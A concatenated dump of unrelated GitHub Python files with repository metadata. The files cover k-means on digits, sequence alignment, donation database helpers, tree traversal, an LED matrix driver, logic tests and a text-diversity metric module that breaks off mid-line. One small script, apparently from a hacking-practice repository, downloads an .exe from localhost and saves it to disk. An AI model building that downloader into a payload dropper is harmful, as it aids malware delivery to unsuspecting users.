sobre o conjunto de dados\nn_samples, n_features = X.shape\nn_digits = len(np.unique(y))\n\n## 1. Exploração dos Dados:\nprint(\"Número de exemplos: %d\" % n_samples)\nprint(\"Dimensões das imagens: %d x %d\" % (n_features, int(np.sqrt(n_features))))\nprint(\"Distribuição dos dígitos:\")\nprint(np.bincount(y))\n\n# Exibir alguns exemplos de imagens\nplt.figure(figsize=(8, 6))\nfor i in range(10):\n plt.subplot(2, 5, i + 1)\n plt.imshow(X[y == i][0].reshape(8, 8), cmap='gray')\n plt.title(\"Dígito %d\" % i)\n plt.axis('off')\n\nplt.tight_layout()\n# Salvando a figura\nplt.savefig('figura_dataset_digits.png')\nplt.show()\n\n# 2. Pré-processamento dos Dados:\n# Pré-processamento dos dados com PCA\n\n# Aplicar o escalamento dos dados\n\"\"\"scaler = StandardScaler()\nX = scaler.fit_transform(X)\"\"\"\n\n\nn_components = 2 # Manter todos os 64 componentes principais\npca = PCA(n_components=n_components)\nX_pca = pca.fit_transform(X)\n\nprint(\"X_pca.shape:\", X_pca.shape)\nprint(\"X_pca[0]:\", X_pca[0])\n\nprint(\"X.shape:\", X.shape)\nprint(\"X[0]:\", X[0])\n\n# Plot dos dados após o pré-processamento\nplt.figure(figsize=(8, 6))\nplt.scatter(X_pca[:, 0], X_pca[:, 1], c=y, cmap='viridis')\nplt.xlabel('Componente Principal 1')\nplt.ylabel('Componente Principal 2')\nplt.title('Digits Dataset após Pré-processamento')\nplt.colorbar()\n# Salvando a figura\nplt.savefig('figura_dataset_digits_pca.png')\nplt.show()\n\n# 3. Implementação do K-means:\n\n# Implementação do K-means\n'''\nkmeans = KMeans(n_clusters=10, init='k-means++', random_state=42)\nkmeans.fit(X_pca)\nlabels = kmeans.labels_\n'''\n\n\n# Implementação do K-means\nkmeans = KMeans(init=\"k-means++\", n_clusters=n_digits, random_state=42, n_init=10)\nkmeans.fit(X_pca)\nlabels = kmeans.labels_\n\n# Plot dos clusters resultantes\nplt.figure(figsize=(10, 6))\ncolors = ['pink', 'g', 'r', 'c', 'm', 'y', 'brown', 'orange', 'purple', 'gray']\nfor i in range(n_digits):\n plt.scatter(X_pca[labels == i, 0], X_pca[labels == i, 1], color=colors[i], label=str(i))\n\nplt.xlabel('Componente Principal 1')\nplt.ylabel('Componente Principal 2')\nplt.title('Resultado do K-means - Digits Dataset')\n\n# Plotar os centroides\nplt.scatter(kmeans.cluster_centers_[:, 0], kmeans.cluster_centers_[:, 1], s=100, c='black', label='Centroides', marker='*')\n\nplt.legend()\n# Salvando a figura\nplt.savefig('figura_dataset_digits_kmeans.png')\nplt.show()\n\n# 4. Avaliação do Modelo:\n# Avaliação do modelo\nsilhouette_avg = silhouette_score(X_pca, labels) # Índice de Silhouette\nprint(\"Índice de Silhouette:\", silhouette_avg)\n\nsoma = kmeans.inertia_ # Soma das distâncias quadradas intra-cluster\nprint(\"Soma das distâncias quadradas intra-cluster:\", soma)\n\n\n# 5. Teste com Dados Próprios:\n# Caminho para as imagens de teste\npath_imagens = 'imagens'\n\npath_imagens = [os.path.join(path_imagens, imagem) for imagem in os.listdir(path_imagens)]\n\nnew_digits = []\nfor imagem in path_imagens:\n image = Image.open(imagem)\n image = image.convert('L')\n image = image.resize((8, 8))\n image = np.array(image)\n image = image.flatten()\n image = 255 - image\n image = image.reshape(8, 8)\n image = Image.fromarray(image.astype('uint8'))\n image = np.array(image)\n image = image.flatten()\n new_digits.append(image)\n\n# Scaler\n# new_digits = scaler.transform(new_digits)\nnew_digits_pca = pca.transform(new_digits)\npredicted_labels = kmeans.predict(new_digits_pca)\n\nprint(\"Dígitos manuscritos pelo usuário:\")\nprint(predicted_labels)\n\n# Plotar os dígitos manuscritos pelo usuário\nplt.figure(figsize=(8, 6))\nfor i in range(10):\n plt.subplot(2, 5, i + 1)\n plt.imshow(new_digits[i].reshape(8, 8), cmap='gray')\n plt.title(\"Dígito %d\" % predicted_labels[i])\n plt.axis('off')\n\nplt.tight_layout()\n# Salvando a figura\nplt.savefig('figura_dataset_digits_manuscrito.png')\nplt.show()","repo_name":"lucassdf/ep5-IA","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4241,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"1660689483","text":"with open('BLOSUM62.txt') as f:\n lines = f.readlines()\n\ncost = {}\nchars = lines.pop(0).rstrip().split()\nfor line in lines:\n cost_list = line.rstrip().split()\n char = cost_list.pop(0)\n for idx, val in enumerate(cost_list):\n cost[char, chars[idx]] = int(val)\n\nwith open('rosalind_glob.txt') as f:\n lines = f.readlines()\n\ndna_dict = {}\nfor line in lines:\n if line.startswith(\">Rosalind_\"):\n current_dna = line[1:].rstrip()\n dna_dict[current_dna] = \"\"\n else:\n dna_dict[current_dna] += line.rstrip()\n\ndna1 = dna_dict.pop(\n next(iter(dna_dict.keys())))\ndna2 = dna_dict.pop(\n next(iter(dna_dict.keys())))\n\nedit = {(-1, -1): 0}\nedta1 = {(-1, -1): \"\"}\nedta2 = {(-1, -1): \"\"}\nfor l1 in range(len(dna1)):\n edit[l1, -1] = -5 * l1\n edta1[l1, -1] = dna1[:l1]\n edta2[l1, -1] = \"-\" * l1\nfor l2 in range(len(dna2)):\n edit[-1, l2] = -5 * l2\n edta1[-1, l2] = \"-\" * l2\n edta2[-1, l2] = dna2[:l2]\n\nfor l1 in range(len(dna1)):\n for l2 in range(len(dna2)):\n if dna1[l1] == dna2[l2]:\n edit[l1, l2] = edit[l1-1, l2-1] + cost[dna1[l1], dna2[l2]]\n edta1[l1, l2] = edta1[l1-1, l2-1] + dna1[l1]\n edta2[l1, l2] = edta2[l1-1, l2-1] + dna2[l2]\n else:\n idx = max([(l1-1, l2), (l1, l2-1)], \n key = lambda x: edit[x])\n if edit[idx] - 5 <= edit[l1-1, l2-1] + cost[dna1[l1], dna2[l2]]:\n idx = (l1-1, l2-1)\n if idx == (l1-1, l2-1):\n edit[l1, l2] = edit[idx] + cost[dna1[l1], dna2[l2]]\n edta1[l1, l2] = edta1[idx] + dna1[l1]\n edta2[l1, l2] = edta2[idx] + dna2[l2]\n elif idx == (l1-1, l2):\n edit[l1, l2] = edit[idx] - 5\n edta1[l1, l2] = edta1[idx] + dna1[l1]\n edta2[l1, l2] = edta2[idx] + \"-\"\n elif idx == (l1, l2-1):\n edit[l1, l2] = edit[idx] - 5\n edta1[l1, l2] = edta1[idx] + \"-\"\n edta2[l1, l2] = edta2[idx] + dna2[l2]\n print(l1,l2, dna1[:l1+1], dna2[:l2+1], \"|\", edta1[l1,l2], edta2[l1,l2])\n\nidx = (len(dna1)-1, len(dna2)-1)\nprint(edit[idx], '\\n', edta1[idx], '\\n', edta2[idx])","repo_name":"sisakls/BioInf","sub_path":"rosalind_glob.py","file_name":"rosalind_glob.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3317073122","text":"#!/usr/bin/env python\n\nimport requests\n\ndef download(url):\n get_request = requests.get(url)\n # print(get_request.content)\n file_name = url.split(\"/\")[-1] # we use this to get the last content of url so that could be used as file_name \n # or also we can specify our own file name with proper file extension\n with open(file_name,\"wb\") as out_file:\n \tout_file.write(get_request.content)\n\n # print(\"File Downloaded\")\n\n\ndownload(\"http://localhost/Nope.exe\")\n\n","repo_name":"RahimMahat/_4y7h0n","sub_path":"Z9.2_Download.py","file_name":"Z9.2_Download.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"21100539324","text":"\"\"\"A module to support the construction of models given dictionaries across the application.\"\"\"\nfrom application.controllers.campaign import get_campaign_by_id\nfrom application.controllers.campaign import get_campaigns_by_type\nfrom application.exceptions.exception_critical_path import BuildModelsGiftTransactionsPathError\nfrom application.exceptions.exception_critical_path import BuildModelsQueuedDonorPathError\nfrom application.flask_essentials import database\nfrom application.helpers.model_serialization import from_json\nfrom application.helpers.ultsys_user import create_user\nfrom application.helpers.ultsys_user import find_ultsys_user\nfrom application.helpers.ultsys_user import update_ultsys_user\nfrom application.schemas.gift import GiftSchema\nfrom application.schemas.queued_donor import QueuedDonorSchema\nfrom application.schemas.transaction import TransactionSchema\n# pylint: disable=bare-except\n# flake8: noqa:E722\n\n\ndef build_models_sale( user, gift, transactions ):\n \"\"\"Given the dictionaries for the models go ahead and build them.\n\n :param dict user: User dictionary with necessary model fields, and may have additional fields.\n :param dict gift: Gift dictionary with necessary model fields, and may have additional fields.\n :param transactions: The list of transactions. If this is a Braintree sale, for example, there will be one\n transaction in the list. On the other hand if this is an administrative sale where the method used is\n a check or money order there will be 2 transactions.\n :return:\n \"\"\"\n\n # We are not caging at the front of the sale, and do that at the end.\n # The user is stored in QueuedDonorModel and the gift is given a user_id = -2\n user_id = -2\n\n # Build the gift model dictionary, and flush to get new auto-incremented gift_id.\n try:\n # Build the gift.\n if not gift[ 'campaign_id' ]:\n gift[ 'campaign_id' ] = None\n elif not get_campaign_by_id( gift[ 'campaign_id' ] ):\n gift[ 'campaign_id' ] = get_campaigns_by_type( 'is_default', 1 )[ 0 ].id\n\n gift[ 'user_id' ] = user_id\n gift_model = from_json( GiftSchema(), gift )\n database.session.add( gift_model.data )\n database.session.flush()\n gift_id = gift_model.data.id\n user[ 'gift_id' ] = gift_id\n user[ 'gift_searchable_id' ] = gift_model.data.searchable_id\n user[ 'campaign_id' ] = gift_model.data.campaign_id\n\n # Build the transactions.\n for transaction in transactions:\n transaction[ 'gift_id' ] = gift_id\n transaction_model = from_json( TransactionSchema(), transaction )\n database.session.add( transaction_model.data )\n database.session.flush()\n transaction[ 'id' ] = transaction_model.data.id\n database.session.commit()\n except:\n database.session.rollback()\n raise BuildModelsGiftTransactionsPathError()\n\n\ndef build_model_queued_donor( user ):\n \"\"\"Given the dictionaries for the models go ahead and build them.\n\n :param dict queued_donor_user: User dictionary with necessary model fields, and may have additional fields.\n :return:\n \"\"\"\n\n try:\n # Build queued donor here because: Gift needs user_id, and queued donor needs gift_id.\n queued_donor_model = from_json( QueuedDonorSchema(), user[ 'user_address' ] )\n queued_donor_model.data.gift_id = user[ 'gift_id' ]\n queued_donor_model.data.gift_searchable_id = user[ 'gift_searchable_id' ]\n queued_donor_model.data.campaign_id = user[ 'campaign_id' ]\n queued_donor_model.data.customer_id = user[ 'customer_id' ]\n database.session.add( queued_donor_model.data )\n database.session.flush()\n user[ 'queued_donor_id' ] = queued_donor_model.data.id\n database.session.commit()\n except:\n database.session.rollback()\n raise BuildModelsQueuedDonorPathError()\n\n\ndef build_model_new( user, gross_gift_amount ):\n \"\"\"Given the new user save to model and return their ID.\n\n :param dict user: User dictionary with necessary model fields, and may have additional fields.\n :param gross_gift_amount: The gross gift amount.\n :return: The user ID\n \"\"\"\n\n # Map the front-end keys to the user model keys.\n ultsys_user_json = {\n 'firstname': user[ 'user_address' ][ 'user_first_name' ],\n 'lastname': user[ 'user_address' ][ 'user_last_name' ],\n 'zip': user[ 'user_address' ][ 'user_zipcode' ],\n 'address': user[ 'user_address' ][ 'user_address' ],\n 'city': user[ 'user_address' ][ 'user_city' ],\n 'state': user[ 'user_address' ][ 'user_state' ],\n 'email': user[ 'user_address' ][ 'user_email_address' ],\n 'phone': user[ 'user_address' ][ 'user_phone_number' ],\n 'donation_amount': gross_gift_amount\n }\n\n # If new user, there is no ID, create the DB entry and get it.\n drupal_uid = create_user( ultsys_user_json )\n\n query_parameters = {\n \"action\": \"find\",\n \"search_terms\": {\n \"uid\": { \"eq\": drupal_uid }\n },\n \"sort_terms\": []\n }\n\n ultsys_user = find_ultsys_user( query_parameters )\n\n user[ 'id' ] = ultsys_user[ 0 ][ 'ID' ]\n\n return user[ 'id' ]\n\n\ndef build_model_exists( user, gross_gift_amount ):\n \"\"\"Given an existing user their ID that has been provided in the form or attached by caging.\n\n Update their latest donation information.\n\n :param dict user: User dictionary with necessary model fields, and may have additional fields.\n :param dict gross_gift_amount: The gross gift amount.\n \"\"\"\n\n update_ultsys_user( user, gross_gift_amount )\n","repo_name":"transreductionist/API-Project-1","sub_path":"application/helpers/build_models.py","file_name":"build_models.py","file_ext":"py","file_size_in_byte":5675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"13969346569","text":"\"\"\"\r\nFaça um programa para imprimir:\r\n 1\r\n 1 2\r\n 1 2 3\r\n .....\r\n 1 2 3 ... n\r\n\"\"\"\r\n\r\ndef emprime(n):\r\n sr = str()\r\n for i in range(1,n+1):\r\n sr += f'{i} '\r\n print(sr)\r\n\r\nn = int(input('N: '))\r\n\r\nemprime(n)","repo_name":"OdairRos/Exercicios-Wiki-Python","sub_path":"5 - Funções/02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"29635882362","text":"class Node():\n def __init__(self,data,next = None):\n self.data=data\n self.next=next\n\nnode1=Node(5)\nnode2=Node(4,node1)\n\nprint(node1.data,node2.data,\"next is\",node1.next,\"node2 next\",node2.next.data)\n\nhead=None\nme=None\nhead=Node(0)\nme=Node(78,head)\n\nprint(\"me's data\",me.data)\nfor i in range(1,5):\n head=Node(i,head)\n\naa=head\nwhile aa!=None:\n print(aa.data)\n if(aa.next==None):\n break\n aa=aa.next\n#链表如果用自身遍历查看就会消除,可用哨兵节点来遍历\nprint(aa.data)","repo_name":"Nicolagl/python-","sub_path":"line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74694464219","text":"#This python script is intended to convert the javascript output, which is in rgb format and with undesirable xy coordinates\r\n#information on matrix coordinates can be obtained from https://learn.adafruit.com/32x16-32x32-rgb-led-matrix/library\r\n\r\n#as noted below in imports, requires adafruit RGBMatrix library to operate\r\n#NOTE: \r\n#NOTE: adafruit 'rgbmatrix.so' should be housed in the same folder as your scripts.\r\n#NOTE: the mailtestimaplib refers to the 'mailtestimaplib.py' file located in this repository\r\n#The mailtestimpalib.py file NEEDS to be located in the same folder as this file.\r\n\r\nimport time\r\nimport os\r\nfrom rgbmatrix import Adafruit_RGBmatrix\r\nimport mailtestimaplib\r\n\r\n\r\n\r\nmatrix = Adafruit_RGBmatrix(32, 1)#declares one matrix that is 32 by 32\r\n\r\ndef readinfofromcycledfile(filetoopen):\r\n #open the file\r\n fromemailfile = open(filetoopen)#for windows users, format is C:\\\\folder\\\\...\\\\file.extension\r\n fromemailread = fromemailfile.read()\r\n fromemailarray = fromemailread.split(';')#we should now hoave an array, where each array item consists of xy and color\r\n return fromemailarray #our array now has all colons and semicolons removed\r\n\r\ndef formatmydata(revisedarray):\r\n alpharray = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F']\r\n xycordarray = []\r\n oldcolorarray = []\r\n newcolorarray = []\r\n xarray = []\r\n yarray = []\r\n ticker = 'off'\r\n #go through array and separate coordinates and color into separate arrays\r\n for i in range(len(revisedarray)):\r\n mysplit = revisedarray[i]\r\n mysplit = mysplit.split(':')\r\n xycordarray.append(mysplit[0])\r\n oldcolorarray.append(mysplit[1])\r\n #Separate The x and y values into separate arrays.\r\n for j in range(len(xycordarray)):\r\n mysecondsplit = xycordarray[j]\r\n tempx = ''\r\n tempy = '' \r\n for k in range(len(mysecondsplit)):\r\n thischar = mysecondsplit[k]\r\n if thischar.isdigit():\r\n tempx = tempx + thischar \r\n else:\r\n tempy = tempy + thischar\r\n\r\n tempx = int(tempx)-1#because arrays are zero indexed, the js was not, reduce tempx by 1 \r\n xarray.append(tempx)\r\n yarray.append(tempy)\r\n\r\n\r\n\r\n #at this stage, we have fully separated x and y arrays, but the y array needs to be\r\n #converted to the appropriate integer value for the\r\n #adafruit matrix library. We also still need to convert color from\r\n #a 255 color scheme to a 7 color scheme for matrix capabilities\r\n #NOTE: meddled with yarray in this area after 615am save\r\n\r\n #Find the number that corresponds to the string letter value in yarray. After this, we are done manipulating coordinates\r\n for p in range(len(yarray)):\r\n thenum = ''\r\n thenum = alpharray.index(yarray[p])\r\n yarray[p] = thenum\r\n\r\n\r\n #pull relevant numbers out of the rgbstring\r\n #Needed to be careful here due to varying integer lengths. Opted to identify integers and mash together as strings until\r\n #the code comes across a string. then the mashed value is dumped into an array and the ticker is turned off, preventing further mashings.\r\n for l in range(len(oldcolorarray)):\r\n tempcolor = oldcolorarray[l]\r\n ticker = 'off'\r\n tempdigit = ''\r\n for m in range(len(tempcolor)):\r\n thischar = tempcolor[m]\r\n if thischar.isdigit():\r\n if ticker == 'on':\r\n tempdigit += str(thischar)\r\n else:\r\n ticker = 'on'\r\n tempdigit = str(thischar)#This is important, clears tempdigit of old value\r\n else:\r\n if ticker == 'on':\r\n ticker = 'off'\r\n newcolorarray.append(tempdigit)\r\n\r\n \r\n print(newcolorarray)\r\n #now colors need to be reduced for the 7,7,7 format, while being kept in sets of three\r\n #UPDATE: This is not true, colors do not need to be reduced\r\n #NOTE: this was retained for potential arduino use per online direction.\r\n ##n = 0\r\n ##ctr = 0\r\n ##while n < len(newcolorarray):\r\n ## newnum = (int(newcolorarray[n])/255)*7\r\n ## newnum = round(int(newnum))\r\n ## newcolorarray[n] = newnum\r\n ## n += 1\r\n ##\r\n ##print(newcolorarray)\r\n\r\n #quick, albeit incomprehensive check that everything worked well\r\n if len(newcolorarray)/3 == len(yarray):\r\n print('AMAZING. All seems kosher')\r\n\r\n return xarray, yarray, newcolorarray\r\n\r\n #through the code above, we now successfully obtained the desired format.\r\n #the output of this code is stored in three arrays:\r\n #newcolorarray: contains colors in base 255 form. r, g, and b values are stored separately in the array.\r\n #xarray: stores x coordinates as integers 0 through 31\r\n #yarray: stores y coordinates as integers 0 through 31\r\n\r\n #Last step, PRINT THE FILE TO THE MATRIX!!!\r\ndef lightemup(xarray, yarray, newcolorarray):\r\n r=0\r\n t=0\r\n while r < len(yarray):\r\n matrix.SetPixel(int(xarray[r]),int(yarray[r]),int(newcolorarray[t]),int(newcolorarray[t+1]),int(newcolorarray[t+2]))\r\n r = r + 1\r\n t = t + 3\r\n\r\n#everything above was housed in defined functions, which must be called in order to be executed.\r\n#this last section controls the order in which our defined functions are executed\r\nindir = '/home/pi/PythonScripts/LEDMatrix/displays'\r\nwhile 0 < 1:\r\n for root, dirs, filenames in os.walk(indir):\r\n for f in filenames:\r\n print(f)\r\n thepicturefile = indir + '/' + f\r\n arrayvariable = readinfofromcycledfile(thepicturefile)\r\n xaxis, yaxis, rgbcolor = formatmydata(arrayvariable)\r\n lightemup(xaxis, yaxis, rgbcolor)\r\n time.sleep(20.0)\r\n matrix.Clear()\r\n mailtestimaplib.themailfunction()#calls our email python file to look in email for new files\r\n #NOTE: we are using syntax 'mailtestimaplib.themailfunction()' to indicate that we wish to \r\n #execute the 'themailfunction' in our file 'mailtestimaplib.py'\r\n\r\n\r\n\r\n","repo_name":"mabiesen/LedDisplayCoord-JSPY","sub_path":"ledfromemail.py","file_name":"ledfromemail.py","file_ext":"py","file_size_in_byte":5808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16291276555","text":"def preorder(n):\r\n if n != \".\":\r\n pre.append(n)\r\n preorder(tree[n][0])\r\n preorder(tree[n][1])\r\n return pre\r\n\r\ndef inorder(n):\r\n if n != \".\":\r\n inorder(tree[n][0])\r\n inn.append(n)\r\n inorder(tree[n][1])\r\n return inn\r\n\r\ndef postorder(n):\r\n if n != \".\":\r\n postorder(tree[n][0])\r\n postorder(tree[n][1])\r\n post.append(n)\r\n return post\r\n\r\nN = int(input())\r\ntree = {}\r\npre = []\r\ninn = []\r\npost = []\r\nfor n in range(N):\r\n a, ch1, ch2 = input().split()\r\n tree[a] = (ch1, ch2)\r\n# print(tree)\r\n\r\npreorder('A')\r\nfor i in range(len(pre)):\r\n print(pre[i], end='')\r\nprint()\r\n\r\ninorder('A')\r\nfor i in range(len(inn)):\r\n print(inn[i], end='')\r\nprint()\r\n\r\npostorder('A')\r\nfor i in range(len(post)):\r\n print(post[i], end='')\r\nprint()","repo_name":"jungeun97/Algorithm","sub_path":"백준/Silver/1991. 트리 순회/트리 순회.py","file_name":"트리 순회.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"69919439259","text":"import logging\nimport unittest\n\nfrom logic1.atomlib.sympy import Eq, Ge, Gt, Lt\nfrom logic1.firstorder.boolean import And\nfrom logic1.firstorder.formula import Formula\nfrom logic1.firstorder.quantified import Ex\nfrom logic1.firstorder.truth import F, T\nfrom sympy.abc import x, y, z\n\nfrom ..util import closure, show_progress\nfrom .lra import qe\nfrom .rings import Simplifier\n\nsimplify_lt = Simplifier(prefer=Lt)\n\n\ndef exsimp(*conj: Formula) -> Formula:\n return simplify_lt(closure(Ex, And(*conj)))\n\n\nclass FourierMotzkinTests(unittest.TestCase):\n def test_simple1(self):\n f = exsimp(Ge(x + y - 2 * z, 2), Ge(-x - 3 * y + z, 0), Ge(y + z, 1))\n show_progress(True)\n f = qe(f)\n self.assertEqual(f, T)\n # self.assertEqual(matrix(f), And(Le(2 * y + z + 2, 0), Le(-y - z + 1, 0)))\n # self.assertEqual(And(Le(4 - z, 0)))\n # self.assertEqual(matrix(fme(f, z)), T)\n\n def test_simple2(self):\n f = exsimp(\n Ge(x + y + 2 * z, 1),\n Ge(-x + y + z, 2),\n Ge(x - y + z, 1),\n Ge(-y - 3 * z, 0),\n )\n\n self.assertEqual(qe(f), F)\n\n def test_simple3(self):\n f = exsimp(\n Ge(x + y + 2 * z, 1),\n Ge(-x + y + z, 2),\n Ge(x - y + z, 1),\n Ge(-y - 3 * z, 0),\n )\n self.assertEqual(qe(f), F)\n\n def test_simple4(self):\n logging.basicConfig(level=logging.DEBUG)\n f = exsimp(Ge(x, 1), Lt(y, 0), Gt(y, 0))\n self.assertEqual(qe(f), F)\n # self.assertEqual(f, Ex(y, And(Lt(y, 0), Lt(-y, 0))))\n\n def test_eq1(self):\n f = exsimp(Eq(x, 1), Eq(y, x))\n # self.assertEqual(f, Ex(y, Eq(y - 1, 0)))\n self.assertEqual(qe(f), T)\n\n def test_eq2(self):\n f = exsimp(Eq(x, 1), Eq(y, x), Eq(y, 2))\n # self.assertEqual(f, Ex(y, And(Eq(y - 1, 0), Eq(y - 2, 0))))\n self.assertEqual(qe(f), F)\n\n def test_eq3(self):\n f = exsimp(Eq(x, 3), Eq(y, 3 * x))\n # self.assertEqual(f, Ex(y, Eq(y - 9, 0)))\n self.assertEqual(qe(f), T)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"lorenzleutgeb/qe","sub_path":"theories/test_lra.py","file_name":"test_lra.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"41519153802","text":"# TextDiversity pkgs\nimport itertools\nfrom itertools import chain\n\nimport torch\nimport numpy as np\nfrom sklearn.decomposition import PCA\nimport faiss\n\nimport transformers\nfrom transformers import AutoModel, AutoTokenizer\nfrom sentence_transformers import SentenceTransformer\n\nfrom gensim.utils import tokenize\nimport gensim.downloader\n\nfrom nltk.corpus import stopwords\n\nimport amrlib\n\n# locals\nfrom ..similarities.amrsim import WLKScorer\nfrom ..metric import TextDiversity\nfrom ..utils import *\n\n# config\ntransformers.logging.set_verbosity_error()\n\n# ==================================================================================\n# helper functions \n# ==================================================================================\n\n# NA\n\n# ==================================================================================\n\n\nclass TokenSemantics(TextDiversity):\n\n default_config = {\n # TextDiversity configs\n 'q': 1,\n 'normalize': False,\n 'distance_fn': faiss.METRIC_Linf, # https://github.com/facebookresearch/faiss/blob/main/faiss/MetricType.h\n 'dim_reducer': PCA,\n 'remove_stopwords': False, \n 'remove_punct': False,\n 'scale_dist': \"exp\", \n 'power_reg': False, \n 'mean_adj': True,\n 'verbose': False,\n # TokenSemantics configs\n 'MODEL_NAME': \"bert-base-uncased\", # \"roberta-base\", \"microsoft/deberta-large\", # \"bert-base-uncased\", # \"facebook/bart-large-cnn\",\n 'batch_size': 16,\n 'use_cuda': True,\n 'n_components': None \n }\n\n def __init__(self, config={}):\n config = {**self.default_config, **config} \n super().__init__(config)\n self.model = AutoModel.from_pretrained(config['MODEL_NAME'])\n self.tokenizer = AutoTokenizer.from_pretrained(config['MODEL_NAME'])\n self.undesirable_tokens = [\n self.tokenizer.pad_token_id, \n self.tokenizer.cls_token_id, \n self.tokenizer.sep_token_id\n ]\n self.batch_size = config['batch_size']\n self.use_cuda = True if config['use_cuda'] and torch.cuda.is_available() else False\n self.device = torch.device('cuda' if self.use_cuda else 'cpu')\n\n # move model to device\n if isinstance(self.model, torch.nn.Module):\n self.model.to(self.device)\n\n def encode(self, input_ids, attention_mask):\n self.model.eval()\n with torch.no_grad():\n out = self.model(input_ids, attention_mask=attention_mask, output_hidden_states=True)\n emb = out.hidden_states[-2]\n return emb\n\n def extract_features(self, corpus):\n inputs = self.tokenizer(corpus, return_tensors='pt', padding=True, truncation=True)\n batches = zip(chunker(inputs.input_ids, self.batch_size), \n chunker(inputs.attention_mask, self.batch_size))\n if self.config['verbose']:\n print('getting token embeddings...')\n batches = tqdm(batches, total=int(len(inputs.input_ids)/self.batch_size))\n\n outputs = []\n for input_ids, attention_mask in batches:\n emb = self.encode(input_ids.to(self.device), \n attention_mask.to(self.device))\n outputs.append(emb)\n embeddings = torch.cat(outputs)\n\n # remove undesirable tokens\n idx = np.isin(inputs['input_ids'], self.undesirable_tokens, assume_unique=True, invert=True).reshape(-1)\n # idx = np.isin(inputs['input_ids'], [self.tokenizer.cls_token_id], assume_unique=True).reshape(-1)\n tok = np.array(self.tokenizer.convert_ids_to_tokens(inputs.input_ids.view(-1)))[idx]\n boe = embeddings.view(-1, embeddings.shape[-1])[idx].detach().cpu().numpy()\n\n # remove stopwords\n if self.config['remove_stopwords']:\n idx = np.isin(tok, stopwords.words('english'), invert=True)\n tok = tok[idx]\n boe = boe[idx]\n\n # remove punctuation\n if self.config['remove_punct']:\n punct = '''!()-[]{};:'\"\\, <>./?@#$%^&*_~'''\n punct = [c for c in punct]\n idx = np.isin(tok, punct, invert=True)\n tok = tok[idx]\n boe = boe[idx]\n\n # compress embedding to speed up similarity matrix computation\n if self.config['n_components'] == \"auto\":\n n_components = min(max(2, len(boe) // 10), boe.shape[-1])\n if self.config['verbose']:\n print('Using n_components={}'.format(str(n_components)))\n else:\n n_components = -1\n\n if type(n_components) == int and n_components > 0 and len(boe) > 1:\n boe = self.config['dim_reducer'](n_components=n_components).fit_transform(boe)\n\n if len(np.flatnonzero(np.core.defchararray.find(tok,'##')!=-1)) > 0:\n tok, boe = merge_bpe(tok, boe)\n\n return boe, tok\n\n def calculate_similarities(self, features):\n\n Z = compute_Z_faiss(features=features, \n distance_fn=self.config['distance_fn'], \n postprocess_fn=self.config['scale_dist'])\n\n # remove some noise from the Z similarities\n if self.config['power_reg']:\n Z **= 2\n\n # remove some noise from the Z similarities\n if self.config['mean_adj']:\n off_diag = np.where(~np.eye(Z.shape[0],dtype=bool))\n Z[off_diag] -= Z[off_diag].mean()\n Z = np.where(Z < 0, 0 , Z)\n\n return Z\n\n def calculate_similarity_vector(self, q_feat, c_feat):\n raise Exception(\"Ranking requires metrics that operate on the document level. Try DocumentSemantics instead.\")\n\n def calculate_abundance(self, species):\n num_species = len(species)\n p = np.full(num_species, 1 / num_species)\n return p\n\n def __call__(self, response_set): \n return super().__call__(response_set)\n\n\nclass TokenEmbedding(TextDiversity):\n\n default_config = {\n # TextDiversity configs\n 'q': 1,\n 'normalize': False,\n 'distance_fn': faiss.METRIC_Linf,\n 'dim_reducer': PCA,\n 'remove_stopwords': False, \n 'remove_punct': False,\n 'scale_dist': \"exp\", \n 'power_reg': False, \n 'mean_adj': True,\n 'verbose': False,\n # TokenEmbedding configs\n 'EMBEDDING': 'word2vec-google-news-300', # glove-wiki-gigaword-300, fasttext-wiki-news-subwords-300, 'word2vec-google-news-300'\n 'batch_size': 16,\n 'n_components': None \n }\n\n def __init__(self, config={}):\n config = {**self.default_config, **config} \n super().__init__(config)\n\n self.model = gensim.downloader.load(config['EMBEDDING'])\n self.batch_size = config['batch_size']\n\n # print('{0} ({1})'.format(self.__class__.__name__, config['EMBEDDING']))\n\n\n def extract_features(self, corpus):\n\n # tokenize\n tok = []\n for s in corpus:\n tok.append(list(tokenize(s, lowercase=True)))\n tok = list(itertools.chain(*tok))\n tok = [t for t in tok if t in self.model.index_to_key]\n\n # embed\n embeddings = [self.model[t] for t in tok]\n\n tok = np.array(tok)\n boe = np.stack(embeddings)\n\n # remove stopwords\n if self.config['remove_stopwords']:\n idx = np.isin(tok, stopwords.words('english'), invert=True)\n tok = tok[idx]\n boe = boe[idx]\n\n # remove punctuation\n if self.config['remove_punct']:\n punct = '''!()-[]{};:'\"\\, <>./?@#$%^&*_~'''\n punct = [c for c in punct]\n idx = np.isin(tok, punct, invert=True)\n tok = tok[idx]\n boe = boe[idx]\n\n # compress embedding to speed up similarity matrix computation\n if self.config['n_components'] == \"auto\":\n n_components = min(max(2, len(boe) // 10), boe.shape[-1])\n if self.config['verbose']:\n print('Using n_components={}'.format(str(n_components)))\n else:\n n_components = -1\n\n if type(n_components) == int and n_components > 0 and len(boe) > 1:\n boe = self.config['dim_reducer'](n_components=n_components).fit_transform(boe)\n\n if 